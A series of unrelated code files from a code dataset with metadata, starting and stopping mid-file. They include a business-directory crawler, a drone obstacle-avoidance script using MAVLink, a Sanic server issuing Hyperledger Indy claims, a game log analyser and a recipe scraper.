### Args:\r\n `page_urls`: A list of urls like 'http://shop.99114.com/list/area/XXXXXX_X'\r\n `output_path`: Path for output .txt file\r\n '''\r\n print(\"Crawling organization codes...\")\r\n with open(output_path, 'w', encoding='utf-8') as file:\r\n for page in page_urls:\r\n page_links = self._get_links(page)\r\n for link in page_links:\r\n if len(link) == 9:\r\n link.replace(\"/\", \"\")\r\n file.writelines(link)\r\n file.writelines('\\n')\r\n\r\n def crawl_orgs_names(self, page_urls, output_path):\r\n '''\r\n Crawl names of organizations from the given pages\r\n ## Agrs:\r\n `page_urls`: A list of urls like 'http://shop.99114.com/list/area/XXXXXX_X'\r\n `output_path`: A file path to output names\r\n '''\r\n print(\"Crawling organization names...\")\r\n all_strings = []\r\n for page_link in page_urls:\r\n # Get the strings in this page, in a list of strings\r\n page_strings = super()._get_link_strings(page_link)\r\n if page_strings: # Avoid empty strings\r\n all_strings.append(page_strings)\r\n else:\r\n continue\r\n\r\n print(\"Crawling completed, writing into file...\")\r\n with open(output_path, 'w+', encoding='utf-8') as output_file:\r\n for page in all_strings:\r\n for name in page:\r\n if len(name) > 2:\r\n output_file.writelines(name)\r\n output_file.writelines('\\n')\r\n\r\n output_file.close()\r\n\r\n def crawl_orgs_postals(self, codes, output_path):\r\n '''\r\n Crawl the address of organizations from its main page\r\n ### Args:\r\n `home_urls`: A url like 'http://shop.99114.com/XXXXXXXX'\r\n `output_path`: Path for output .txt file\r\n '''\r\n print('Getting addresses into {}...'.format(output_path))\r\n with open(output_path, 'w+', encoding='utf-8') as output_file:\r\n for i, code in enumerate(codes):\r\n if i % 10000 == 0:\r\n print(\"Crawling code {}\".format(i))\r\n\r\n org_page = \"http://shop.99114.com/\" + code\r\n soup = self._get_soup(org_page)\r\n\r\n try:\r\n addr = soup.find_all(id='detialAddr')\r\n except AttributeError:\r\n print(\"AtttributeError\")\r\n continue\r\n\r\n if addr is not None:\r\n try:\r\n output_file.writelines(addr[0]) \r\n except Exception:\r\n print(\"Fuck ! An empty string ??\")\r\n continue\r\n\r\n def crawl_orgs_infos(self, codes, output_path):\r\n '''\r\n Crawl the name, boss, phone information of the organizaion,\r\n given the the codes\r\n ### Args:\r\n `codes`: A list of strings like 'XXXXXXXX'\r\n `output_path`: Path for output .txt file\r\n '''\r\n print(\"Crawling {}...\".format(output_path))\r\n with open(output_path, 'w+', encoding='utf-8') as output_file:\r\n for i, code in enumerate(codes):\r\n if i % 10000 == 0:\r\n print(\"Crawling code {}\".format(i))\r\n\r\n org_page = \"http://shop.99114.com/\" + code + \"/ch14\"\r\n try:\r\n soup = self._get_soup(org_page)\r\n info = soup.title.text\r\n except:\r\n print(\"Fuck !\")\r\n continue\r\n output_file.writelines(info)\r\n output_file.writelines('\\n')\r\n","sub_path":"Crawler_orgs.py","file_name":"Crawler_orgs.py","file_ext":"py","file_size_in_byte":6927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"241762844","text":"'''\nCrie um programa que vai ler vários numeros e colocar em uma lista.\nDepois disso, crie duas listas extras que vão conter apenas os\nvalores pares e os valores impares digitados, respectivamente.\nAo final mostre o conteudo das 3 listas geradas\n(Fazer em loops separados)\n'''\nprint('Este programa lê varios numeros e após isso separa os pares e impares em duas listas')\nlista = []\npar = []\nimpar = list()\nwhile True:\n lista.append(int(input('Insira um numero: ')))\n cont = str(input('Continuar? S/N\\n'))\n if cont.lower() == 'n': break\n print('\\n' * 10)\nfor n in lista:\n if n % 2 == 0:\n par.append(n)\n else:\n impar.append(n)\nlista.sort()\nprint(f'Os numeros digitados foram: {lista}\\nOs numeros pares são: {par}\\nOs numeros ímpares são: {impar}')","sub_path":"CursoEmVideo/exercicio82.py","file_name":"exercicio82.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"411894840","text":"from radical.cm.planner import HeftPlanner\nimport pandas as pd\nimport sys\nfrom time import time\nfrom random import gauss\n\ndef df_to_lists(cmp, size):\n\n tmp_workflows = list()\n tmp_numoper = list()\n for i in range(size):\n point = cmp.loc[i] \n workflow = {'description': None}\n workflow['id'] = int(point['id'])\n workflow['num_oper'] = point['num_oper']\n tmp_workflows.append(workflow)\n tmp_numoper.append(workflow['num_oper'])\n\n return tmp_workflows, tmp_numoper\n\ndef resdf_to_dict(res_df, size, prev_set=None):\n\n if size == len(res_df):\n tmp_resources = list()\n for i in range(size):\n point = res_df.loc[i]\n tmp_res = {'id': i + 1,\n #'performance': 1.0}\n 'performance': point['PFlops Mean']}\n tmp_resources.append(tmp_res)\n return tmp_resources\n else:\n new_res = size - len(prev_set)\n tmp_resources = list()\n for i in range(new_res):\n point = res_df.loc[i % 4]\n tmp_res = {'id': len(prev_set) + i + 1,\n #'performance': 1.0}\n 'performance': point['PFlops Mean']}\n #'performance': gauss(point['PFlops Mean'], point['Pflops STD'])}\n tmp_resources.append(tmp_res)\n return prev_set + tmp_resources\n\ndef get_makespan(curr_plan):\n\n checkpoints = [0]\n\n for work in curr_plan:\n if work[2] not in checkpoints:\n checkpoints.append(work[2])\n if work[3] not in checkpoints:\n checkpoints.append(work[3])\n\n checkpoints.sort()\n return checkpoints[-1]\n\n\nif __name__ == \"__main__\":\n\n repetitions = int(sys.argv[1])\n num_resources = [4, 8, 16, 32, 64, 128]\n total_resources = pd.read_csv('../../Data/heterogeneous_resources.csv')\n total_cmp = pd.read_csv('../../Data/heterogeneous_campaign.csv')\n campaign, num_oper = df_to_lists(cmp=total_cmp, size=1024)\n results = pd.DataFrame(columns=['size','planner','plan','makespan', 'time'])\n resources = None\n for res_num in num_resources:\n print('Number of resources: %d' % res_num)\n resources = resdf_to_dict(res_df=total_resources, size=res_num, prev_set=resources)\n for _ in range(repetitions):\n planner = HeftPlanner(campaign=campaign, resources=resources, num_oper=num_oper, sid='heft_exp')\n tic = time()\n plan = planner.plan()\n toc = time()\n makespan = get_makespan(plan)\n results.loc[len(results)]= [res_num, 'HEFT', plan, makespan, toc - tic]\n del planner\n\n results.to_csv('../../Data/heft/SpHeteroResources_StHeteroCampaignsHEFT.csv', index=False)\n","sub_path":"Scripts/heft/exp2_hetero_campaign.py","file_name":"exp2_hetero_campaign.py","file_ext":"py","file_size_in_byte":2740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"105820531","text":"import src.send as send\nimport src.gamestate as gamestate\nimport src.dem as dem\nimport json\nimport sys\nimport csv\n\n\ndef extract_attacks(raw_response):\n data = gamestate.decode(dem.run(raw_response))\n result = []\n for turn in data[\"details\"][\"turns\"]:\n for d in turn[\"data\"]:\n location = d[\"state\"][\"location\"]\n commands = d[\"command\"]\n if commands == None:\n continue\n for command in commands:\n if command[0] != 2:\n continue\n\n x = location[\"x\"]\n y = location[\"y\"]\n result.append({\"x\": x, \"y\": y, \"command\": command})\n\n return result\n\n\ndef main():\n attacks = []\n with open(\"saved_responses.in\") as f:\n lines = f.readlines()\n for i in range(len(lines)):\n print(f\"loading {i+1}/{len(lines)}\")\n attacks += extract_attacks(lines[i])\n with open(\"attacks.csv\", \"w\") as f:\n writer = csv.writer(f)\n writer.writerow([\"from_x\", \"from_y\", \"to_x\", \"to_y\",\n \"param1\", \"param2\", \"param3\"])\n for attack in attacks:\n from_x, from_y = attack[\"x\"], attack[\"y\"]\n to_x, to_y = attack[\"command\"][1][0], attack[\"command\"][1][1]\n param1 = attack[\"command\"][2]\n param2 = attack[\"command\"][3]\n param3 = attack[\"command\"][4]\n writer.writerow(\n [from_x, from_y, to_x, to_y, param1, param2, param3])\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"kenkoooo/attack_analysis.py","file_name":"attack_analysis.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"225201179","text":"from django.conf.urls.defaults import patterns, url\n\nfrom .views import (\n ProductsListView, DigitalAssetsListView, UploadView, handle_upload,\n RelatedEditView, manage_digital_products, update_digiproducts,\n manage_download_digital_product,\n MultipartUploadView, FileUploadView, FileUploadCompleteView\n)\n\nurlpatterns = patterns('',\n url(r'^lfsd_products_list$', ProductsListView.as_view(), name='lfsd_products_list'),\n url(r'^lfsd_files_list$', DigitalAssetsListView.as_view(), name='lfsd_files_list'),\n url(r'^lfsd_upload$', UploadView.as_view(), name='lfsd_upload'),\n url(r'^lfsd_chunk_upload_form/(?P\\d+)?$', MultipartUploadView.as_view(), name='lfsd_chunk_upload_form'),\n url(r'^lfsd_chunk_upload/(?P\\d+)?$', FileUploadView.as_view(), name='lfsd_chunk_upload'),\n url(r'^lfsd_chunk_upload/(?P\\d+)?/(?P\\d+)?$', FileUploadView.as_view(), name='lfsd_chunk_upload_delete'),\n url(r'^lfsd_chunk_upload_complete/(?P\\d+)?$', FileUploadCompleteView.as_view(), name='lfsd_chunk_upload_complete'),\n url(r'^lfsd_handle_upload/(?P\\d+)$', handle_upload, name='lfsd_handle_upload'),\n url(r'^lfsd_update_digiproducts/(?P\\d+)$', update_digiproducts, name='lfsd_update_digiproducts'),\n url(r'^lfsd_manage_digital_products/(?P\\d+)$', manage_digital_products, name='lfsd_manage_digital_products'),\n url(r'^lfsd_manage_download_digital_product/(?P\\d+)$', manage_download_digital_product, name='lfsd_manage_download_digital_product'),\n url(r'^lfsd_related_products/(?P\\d+)$', RelatedEditView.as_view(), name='lfsd_related_products'),\n)\n","sub_path":"lfs_downloads/admin_urls.py","file_name":"admin_urls.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"593441215","text":"from __future__ import print_function, absolute_import, division\n\nimport boto.sqs.message\nimport json\nimport logging\n\n\nclass AwsSQSPlugin(object):\n\n def __init__(self, unwanted_resources, problematic_resources, dry_run,\n queue_account=None, queue_name=None, queue_region=None,):\n self.queue_account = queue_account\n self.queue_name = queue_name\n self.queue_region = queue_region\n self.unwanted_resources = unwanted_resources\n self.problematic_resources = problematic_resources\n self.dry_run = dry_run\n\n self.logger = logging.getLogger(__name__)\n\n def _connect_to_queue(self):\n conn = boto.sqs.connect_to_region(self.queue_region)\n self.queue = conn.get_queue(self.queue_name, owner_acct_id=self.queue_account)\n if self.queue is None:\n raise \"No queue '{0}' found in account '{1}', region '{2}'\".format(\n self.queue_name, self.queue_account, self.queue_region)\n\n def _get_account_alias(self):\n iam = boto.connect_iam()\n response = iam.get_account_alias()['list_account_aliases_response']\n return response['list_account_aliases_result']['account_aliases'][0]\n\n def monocyte_status(self):\n if self.unwanted_resources or self.problematic_resources:\n return \"Found {0} unwanted and {1} problematic resources.\".format(\n len(self.unwanted_resources), len(self.problematic_resources)\n )\n return \"no issues\"\n\n def get_body(self):\n body = {\n 'status': self.monocyte_status(),\n 'account': self._get_account_alias()\n }\n return json.dumps(body)\n\n def send_message(self, body):\n self._connect_to_queue()\n message = boto.sqs.message.RawMessage()\n message.set_body(body)\n self.queue.write(message)\n\n def run(self):\n try:\n self.send_message(self.get_body())\n except Exception as exc:\n self.logger.error(\"%s.run() failed to send to SQS: %s\",\n self.__class__.__name__, exc)\n","sub_path":"src/main/python/monocyte/plugins/sqs_plugin.py","file_name":"sqs_plugin.py","file_ext":"py","file_size_in_byte":2098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"420182991","text":"from fuzzywuzzy import fuzz\nfrom fuzzywuzzy import process\nfrom decimal import *\nfrom nodeTools import Node\n\n\n# from nltk.corpus import wordnet\n# from nltk.corpus import wordnet as wn\n\ndef getWeight(keyTerm, searchTerms, merge = \"or\"):\n if merge == \"and\": \n score = Decimal(1)\n for searchTerm in searchTerms:\n newScore = Decimal(fuzz.partial_ratio(keyTerm.lower().strip(\"_\"), searchTerm.lower().strip(\"_\"))) / Decimal(100)\n score = score * newScore\n return score * 100\n \n elif merge == \"or\":\n score = 0\n for searchTerm in searchTerms:\n score = max(score, fuzz.partial_ratio(keyTerm.lower().strip(\"_\"), searchTerm.lower().strip(\"_\")))\n return score\n \n # elif merge == \"WordNet\":\n # score = 0\n # for searchTerm in searchTerms:\n\n # score = max(score, )\n \ndef cleanSearchSet(searchSet):\n newSearchSet = set()\n for sword in searchSet:\n if len(sword) > 2: \n newSearchSet.add(sword) \n return newSearchSet\n\ndef matchKeyWordsToSearchWords(kwDict, swSet, verbose = False):\n swSet = cleanSearchSet(swSet)\n\n for kw, kwNode in kwDict.items():\n kwNode.weight = getWeight(kw, swSet, \"and\")\n\n if verbose is True:\n print(\"Key Word \\\"\" + kw + \"\\\" has score: \" + str(kwNode.weight))\n\nif __name__==\"__main__\":\n keywords = {\n \"Distance\" : Node(\"node1\"), \n \"dist\" : Node(\"node2\"), \n \"distance\" : Node(\"node3\"),\n \"pythagorous\" : Node(\"node4\"), \n \"pyth\" : Node(\"node5\"),\n \"triangle\" : Node(\"node6\"),\n \"apple\" : Node(\"node7\"),\n \"add\" : Node(\"node8\"),\n \"dist_Pythagorous\" : Node(\"node9\")\n }\n searchwords = {\"distance\", \"Pythagorous\", \"D\"}\n\n matchKeyWordsToSearchWords(keywords, searchwords)","sub_path":"matcher.py","file_name":"matcher.py","file_ext":"py","file_size_in_byte":1905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"134272845","text":"class ClassVar:\n\ttextList= []\n\n\tdef add(self, text):\n\t\tself.textList.append(text)\n\tdef PrintList(self):\n\t\tprint(self.textList)\n\nif __name__==\"__main__\":\n\ta= ClassVar()\n\ta.add(\"a\")\n\ta.PrintList()\n\n\tb= ClassVar()\n\tb.add(\"b\")\n\tb.PrintList()","sub_path":"뇌를 자극하는 파이썬 3/09-2_02ClassVar.py","file_name":"09-2_02ClassVar.py","file_ext":"py","file_size_in_byte":237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"539930749","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport csv\nimport math\nimport avd_algorithm\nimport time\nfrom pymavlink import mavutil\n\n\"\"\"\nCreated on Thu Apr 25 19:30:42 2019\n\n@author: Nuttawat Punpigul\n\"\"\"\n\n\"\"\"\nAvoidance system for static cylindrical shape obstacle during AUTO mission\nThe system use MAVLink protocol to send MAVmsg direct to the UAV via MAVProxy GCS\n\nThe MAVLink protocol is hosted under the governance of the Dronecode Project.\nSee Wiki article (https://mavlink.io)\n\"\"\"\n\n\n# TODO: List\n# **** every coordinate points that writen in the csv file must have 7 decimals only ****\n# - add mission complete check function\n# - add AUTO mode check function before allow the script to continue\n\n\n###################\n# Haversine class #\n###################\nclass Haversine:\n \"\"\"\n use the haversine class to calculate the distance between\n two lon/lat coordinate pairs.\n output distance available in kilometers, meters, miles, and feet.\n example usage: Haversine([lon1,lat1],[lon2,lat2]).feet\n\n \"\"\"\n\n def __init__(self, coord1, coord2):\n lon1, lat1 = coord1\n lon2, lat2 = coord2\n\n R = 6371000 # radius of Earth in meters\n phi_1 = math.radians(lat1)\n phi_2 = math.radians(lat2)\n\n delta_phi = math.radians(lat2 - lat1)\n delta_lambda = math.radians(lon2 - lon1)\n\n a = math.sin(delta_phi / 2.0) ** 2 + \\\n math.cos(phi_1) * math.cos(phi_2) * \\\n math.sin(delta_lambda / 2.0) ** 2\n c = 2 * math.atan2(math.sqrt(a), math.sqrt(1 - a))\n\n self.meters = R * c # output distance in meters\n self.km = self.meters / 1000.0 # output distance in kilometers\n self.miles = self.meters * 0.000621371 # output distance in miles\n self.feet = self.miles * 5280 # output distance in feet\n\n\n# Mode change function\ndef change_mode(modename, the_connection):\n # Choose a mode\n mode = modename\n # Receive the_connection for calling the function\n\n # Check if mode is available\n if mode not in the_connection.mode_mapping():\n print('Unknown mode : {}'.format(mode))\n print('Try:', list(the_connection.mode_mapping().keys()))\n exit(1)\n\n # Get mode ID\n mode_id = the_connection.mode_mapping()[mode]\n # Set new mode\n the_connection.mav.set_mode_send(\n the_connection.target_system,\n mavutil.mavlink.MAV_MODE_FLAG_CUSTOM_MODE_ENABLED,\n mode_id)\n\n # Check ACK\n # ack = False\n # while not ack:\n # # Wait for ACK command\n # ack_msg = the_connection.recv_match(type='COMMAND_ACK', blocking=True)\n # ack_msg = ack_msg.to_dict()\n\n # # Check if command in the same in `set_mode`\n # print(\"\\nChanging %s mode\" % modename)\n # if ack_msg['command'] != mavutil.mavlink.MAVLINK_MSG_ID_SET_MODE:\n # continue\n\n # # Print the ACK result !\n # result = mavutil.mavlink.enums['MAV_RESULT'][ack_msg['result']].description\n # print(\"--> %s\" % result)\n # break\n return modename\n\n\n# Read GPS data function\ndef gps_data(the_connection):\n while True:\n msg = the_connection.recv_match(type='GLOBAL_POSITION_INT', blocking=True)\n ref_lat = msg.lat\n ref_lon = msg.lon\n ref_alt = msg.relative_alt\n return ref_lat, ref_lon, ref_alt\n\n\n# Guide waypoint function\n# Read the new_point.csv file and get new waypoints coordinate for avoidance guiding\ndef get_guided_wp(select_row):\n with open('new_point.csv', 'r+') as newpoint_read:\n reader = csv.DictReader(newpoint_read)\n for row in reader:\n if int(row['No.']) == select_row:\n go_lat = row['Lat']\n go_lon = row['Lon']\n select_row -= 1\n return go_lat, go_lon, select_row\n\n\n# Guided to waypoint function\ndef flyto(go_lat, go_lon, ref_alt, the_connection):\n # Loop for time_boot_ms parameter\n while True:\n msg = the_connection.recv_match()\n if not msg:\n continue\n if msg.get_type() == 'SYSTEM_TIME':\n break\n # Begin waypoint guiding\n the_connection.mav.set_position_target_global_int_send(\n msg.time_boot_ms, # time_boot_ms\n the_connection.target_system, # target_system\n the_connection.target_component, # target_component\n 6, # coordinate_frame--> Use home alt as reference alt\n 65528, # type_mask\n int(go_lat), # lat_int\n int(go_lon), # lon_int\n ref_alt, # alt\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0) # unused param\n # time.sleep(1)\n return\n\n\n# Check guided waypoint reached function\ndef wp_reached(go_lat, go_lon, the_connection):\n while True:\n cur_lat, cur_lon, ref_alt = gps_data(the_connection)\n distance = Haversine((cur_lon / 10000000, cur_lat / 10000000),\n (int(go_lon) / 10000000, int(go_lat) / 10000000)).meters\n print(distance)\n # /10000000 for convert int to float\n if distance <= 5: # wp_reached offset (5)\n return\n\n\n# TODO: check for non using param\n# Update obstacle function\ndef update_obs(select_row):\n while True:\n # Read the obstacles.csv file and store Lat,Lon,Radius in variables\n with open('obstacles.csv') as f:\n count_obs = sum(1 for line in f) - 1\n with open('obstacles.csv', 'r+') as obstacle_read:\n reader = csv.DictReader(obstacle_read)\n while True:\n for row in reader:\n if int(row['No.']) == select_row: # Check the existence of obstacle\n obs_lat = float(row['Lat'])\n obs_lon = float(row['Lon'])\n obstacle_read.close()\n return obs_lat, obs_lon, count_obs\n elif int(row['No.']) == 0:\n print(\"No obstacle detect\")\n obstacle_read.close()\n break\n break\n obstacle_read.close()\n\n\n# Update obstacle distance function\ndef obstacle_dis(cur_lat, cur_lon, the_connection):\n while True:\n start_time = time.time() # Start time record\n distance = []\n row = 1\n cur_lat, cur_lon, ref_alt = gps_data(the_connection) # Check current position\n while True:\n obs_lat, obs_lon, count_obs = update_obs(row) # Get obstacle data\n # Check distance between current position and obstacle shield\n distance.append(Haversine((cur_lon / 10000000, cur_lat / 10000000), (obs_lon, obs_lat)).meters)\n # /10000000 for convert int to float\n row += 1\n if row > count_obs:\n min_dist = min(distance) # Get the nearest obstacle distance\n print('Closest obstacle distance = %f (--- %s seconds ---)' % (min_dist, (time.time() - start_time)))\n if min_dist <= 50.0: # FIXME: <------- should be adjust by vehicle velocity and object rad (60.0 + obs_rad)\n return min_dist\n else:\n break\n\n\n# Update current coordinate target function\ndef get_wp(the_connection):\n while True:\n msg = the_connection.recv_match()\n if not msg:\n continue\n if msg.get_type() == 'POSITION_TARGET_GLOBAL_INT':\n wp_lat = msg.lat_int\n wp_lon = msg.lon_int\n return wp_lat, wp_lon\n\n\n# ------------------------------------------------------------------------------------------------------------------- #\ndef main():\n # Start a connection listening to a UDP port\n the_connection = mavutil.mavlink_connection('udpin:0.0.0.0:14550')\n\n # Wait for the first heartbeat\n # This sets the system and component ID of remote system for the link\n the_connection.wait_heartbeat()\n print(\"Heartbeat from system (system %u component %u)\" %\n (the_connection.target_system, the_connection.target_component))\n\n while True:\n ref_lat, ref_lon, ref_alt = gps_data(the_connection) # Update current position\n obstacle_dis(ref_lat, ref_lon, the_connection) # Check the nearest obstacle distance\n wp_lat, wp_lon = get_wp(the_connection) # Update last waypoint\n # Run the algorithm\n print(\"\\nObstacle in range\")\n total_point = avd_algorithm.begin_avd(ref_lat, ref_lon, wp_lat, wp_lon, the_connection)\n # If obstacle distance is below 60 meters the guiding procedure will begin\n if total_point != 1: # Prevent unnecessary mode changing\n print(\"Begin obstacle avoidance\")\n print(\"\\nChange to %s mode\\n\" % change_mode('GUIDED', the_connection)) # Change mode to GUIDED\n select_row = total_point # Due to the algorithm write new waypoints from the end to start, we need to select\n # the last row as our first waypoint\n while select_row > 1: # Delete the same destination waypoint\n if select_row == 0:\n break\n print(\"Guiding...\")\n # Fly to new waypoint in sequence\n go_lat, go_lon, select_row = get_guided_wp(select_row) # Get new waypoint data\n ref_lat, ref_lon, ref_alt = gps_data(the_connection)\n flyto(go_lat, go_lon, ref_alt, the_connection) # Guided to lat,lon point\n wp_reached(go_lat, go_lon, the_connection) # Check waypoint reached\n print(\"Done\\nChange to %s mode\\n\" % change_mode('AUTO', the_connection)) # Change mode to AUTO\n\n\n# ------------------------------------------------------------------------------------------------------------------- #\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"355071892","text":"#! /usr/bin/python3\n\nimport asyncio\nimport csv\nimport os\nimport json\nimport logging\nimport time\n\nimport requests\n\nfrom io import StringIO\n\nfrom von_agent.nodepool import NodePool\nfrom von_agent.demo_agents import TrustAnchorAgent, BCRegistrarAgent\nfrom von_agent.agents import BaseAgent\nfrom von_agent.util import encode\n\nfrom sanic import Sanic\nfrom sanic.response import text\n\napp = Sanic(__name__)\ndb_settings = {'REQUEST_TIMEOUT': 3600}\napp.config.update(db_settings)\n\napp.static('/', './static/index.html')\napp.static('/test_data.csv', './static/test_data.csv')\n\n\ndef claim_value_pair(plain):\n return [str(plain), encode(plain)]\n\n\nVORG_SCHEMA = {\n 'name': 'bc-corporate-registration',\n 'version': '1.1',\n 'attr_names': [\n 'busId',\n 'orgTypeId',\n 'jurisdictionId',\n 'LegalName',\n 'effectiveDate',\n 'endDate'\n ]\n}\n\n\nasync def boot():\n global pool\n global trust_anchor\n global bcreg_agent\n\n pool = NodePool(\n 'nodepool',\n '/home/indy/.genesis')\n await pool.open()\n\n trust_anchor = TrustAnchorAgent(\n pool,\n '000000000000000000000000Trustee1',\n 'trustee_wallet',\n None,\n '127.0.0.1',\n 9700,\n 'api/v0')\n await trust_anchor.open()\n\n bcreg_agent = BCRegistrarAgent(\n pool,\n 'BC-Registrar-Agent-0000000000000',\n 'bc-registrar-agent-wallet',\n None,\n '127.0.0.1',\n 9703,\n 'api/v0')\n\n await bcreg_agent.open()\n\n\nasync def bootstrap():\n global claim_def_json\n global schema\n # Check if schema exists on ledger\n print('\\n\\nCheck if schema exists\\n\\n')\n schema_json = await trust_anchor.get_schema(\n trust_anchor.did, VORG_SCHEMA['name'], VORG_SCHEMA['version'])\n\n # If not, send the schema to the ledger\n print('\\n\\nsend the schema to the ledger\\n\\n')\n if not json.loads(schema_json):\n schema_json = await trust_anchor.send_schema(json.dumps(VORG_SCHEMA))\n\n schema = json.loads(schema_json)\n\n get_schema_result = await trust_anchor.get_schema(\n trust_anchor.did, VORG_SCHEMA['name'], VORG_SCHEMA['version'])\n\n print('-==--=-=---=')\n print(get_schema_result)\n print('-==--=-=---=')\n\n # Send claim definition\n print('\\n\\nSend claim definition\\n\\n')\n claim_def_json = await bcreg_agent.send_claim_def(get_schema_result)\n claim_def_json = await bcreg_agent.get_claim_def(\n schema['seqNo'], bcreg_agent.did)\n\n # Close pool\n print('\\n\\nclose pool\\n\\n')\n\n\n@app.route(\"/submit_claims\", methods=['POST'])\nasync def submit_claims(request):\n await bootstrap()\n resp_text = \"\"\n file = request.files.get('file')\n base_url = os.environ[\"TOB_URL\"]\n\n resp_text += \"Connect to TheOrgBook at %s...\\n\\n\" % base_url\n\n resp_text += \"Sending claim definition to TheOrgBook...\\n\\n%s\\n\\n\" % claim_def_json\n\n r = requests.post(\n base_url + '/bcovrin/generate-claim-request',\n json={\n 'did': bcreg_agent.did,\n 'seqNo': schema['seqNo'],\n 'claim_def': claim_def_json\n }\n )\n claim_req_json = r.json()\n\n resp_text += \"Received claim request from TheOrgBook: \\n\\n%s\\n\\n\" % claim_req_json\n\n resp_text += \"Parsing CSV...\\n\\n\"\n\n rows = csv.DictReader(StringIO(file.body.decode('utf-8')))\n row_count = 0\n for row in rows:\n row_count += 1\n resp_text += \"Handling row of CSV data:\\n\\n%s\\n\\n\" % row\n\n claim = {\n \"busId\": claim_value_pair(row[\"CORP_NUM\"]),\n \"orgTypeId\": claim_value_pair(row[\"CORP_NAME_TYP_CD\"]),\n \"jurisdictionId\": claim_value_pair(row[\"PHYSICALCITY\"]),\n \"LegalName\": claim_value_pair(row[\"CORP_NME\"]),\n \"effectiveDate\": claim_value_pair(\"2010-10-01\"),\n \"endDate\": claim_value_pair(None)\n }\n resp_text += \"Generating claim for record and claim request...\\n\\n\\n\"\n (_, claim_json) = await bcreg_agent.create_claim(json.dumps(claim_req_json), claim)\n resp_text += \"Successfully generated claim json:\\n\\n%s\\n\\n\" % claim_json\n resp_text += \"Sending claim json to TheOrgBook...\\n\\n\"\n r = requests.post(\n base_url + '/bcovrin/store-claim',\n json=json.loads(claim_json)\n )\n time.sleep(1)\n\n resp_text += \"Successfully sent %d claims to TheOrgBook.\" % row_count\n return text(resp_text)\n\n\n@app.route(\"/submit_claim\", methods=['POST'])\nasync def submit_claim(request):\n await bootstrap()\n resp_text = \"\"\n busId = request.form[\"busId\"][0]\n orgTypeId = request.form[\"orgTypeId\"][0]\n jurisdictionId = request.form[\"jurisdictionId\"][0]\n LegalName = request.form[\"LegalName\"][0]\n\n if not busId or not orgTypeId or not jurisdictionId or not LegalName:\n return text(\"bad request, missing form fields\", status=400)\n\n base_url = os.environ[\"TOB_URL\"]\n\n resp_text += \"Connect to TheOrgBook at %s...\\n\\n\" % base_url\n resp_text += \"Sending claim definition to TheOrgBook...\\n\\n%s\\n\\n\" % claim_def_json\n\n r = requests.post(\n base_url + '/bcovrin/generate-claim-request',\n json={\n 'did': bcreg_agent.did,\n 'seqNo': schema['seqNo'],\n 'claim_def': claim_def_json\n }\n )\n claim_req_json = r.json()\n\n resp_text += \"Received claim request from TheOrgBook: \\n\\n%s\\n\\n\" % claim_req_json\n\n claim = {\n \"busId\": claim_value_pair(busId),\n \"orgTypeId\": claim_value_pair(orgTypeId),\n \"jurisdictionId\": claim_value_pair(jurisdictionId),\n \"LegalName\": claim_value_pair(LegalName),\n \"effectiveDate\": claim_value_pair(\"2010-10-01\"),\n \"endDate\": claim_value_pair(None)\n }\n\n resp_text += \"Generating claim for record and claim request...\\n\\n\\n\"\n (_, claim_json) = await bcreg_agent.create_claim(json.dumps(claim_req_json), claim)\n resp_text += \"Successfully generated claim json:\\n\\n%s\\n\\n\" % claim_json\n resp_text += \"Sending claim json to TheOrgBook...\\n\\n\"\n r = requests.post(\n base_url + '/bcovrin/store-claim',\n json=json.loads(claim_json)\n )\n\n resp_text += \"Successfully sent claim to TheOrgBook.\"\n return text(resp_text)\n\n\nif __name__ == '__main__':\n loop = asyncio.get_event_loop()\n loop.run_until_complete(boot())\n loop.close()\n app.run(host=\"0.0.0.0\", port=7000, debug=True)\n","sub_path":"bcregistry/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":6359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"640941569","text":"import requests\nimport json\nimport time\nimport os.path\nimport gzip\nimport glob\n\nos.chdir(\".\")\npage = 1\nsize = 50\ndone = 0\nwhile True and not os.path.isfile(\"merged_edeka.json.gz\"):\n headers = {\n 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:81.0) Gecko/20100101 Firefox/81.0',\n 'Accept': 'application/json, text/plain, */*',\n 'Accept-Language': 'en-US,en;q=0.5',\n 'Connection': 'keep-alive'\n }\n\n params = (\n ('query', ''),\n ('page', page),\n ('size', size),\n )\n\n json_file_name = f'edeka_{page:02}.json'\n if os.path.isfile(json_file_name):\n print(\"use cached json\")\n with open(json_file_name) as f:\n response_json = json.load(f)\n else:\n response = requests.get('https://www.edeka.de/rezepte/rezept/suche', headers=headers, params=params)\n response_json = json.loads(response.text)\n with open(json_file_name, 'w') as outfile:\n json.dump(response_json, outfile, indent=2)\n time.sleep(1)\n\n done += size\n total_count = response_json[\"totalCount\"]\n size = min(size, total_count - done)\n print(f'{done:04}/{total_count}')\n if done >= total_count:\n break\n page += 1\n\nrecipes = {\"items\": []}\nfile_paths = sorted([json_file for json_file in glob.glob(\n \"edeka*.json\") if not os.path.basename(json_file).startswith('merged')])\nwith open(file_paths[0]) as f:\n json_data = json.load(f)\n\nfor file_path in file_paths[1:]:\n with open(file_path) as f:\n json_temp_data = json.load(f)\n json_data[\"recipes\"] += json_temp_data[\"recipes\"]\n\nprint(f'got {len(json_data[\"recipes\"])} recipes')\n\nwith 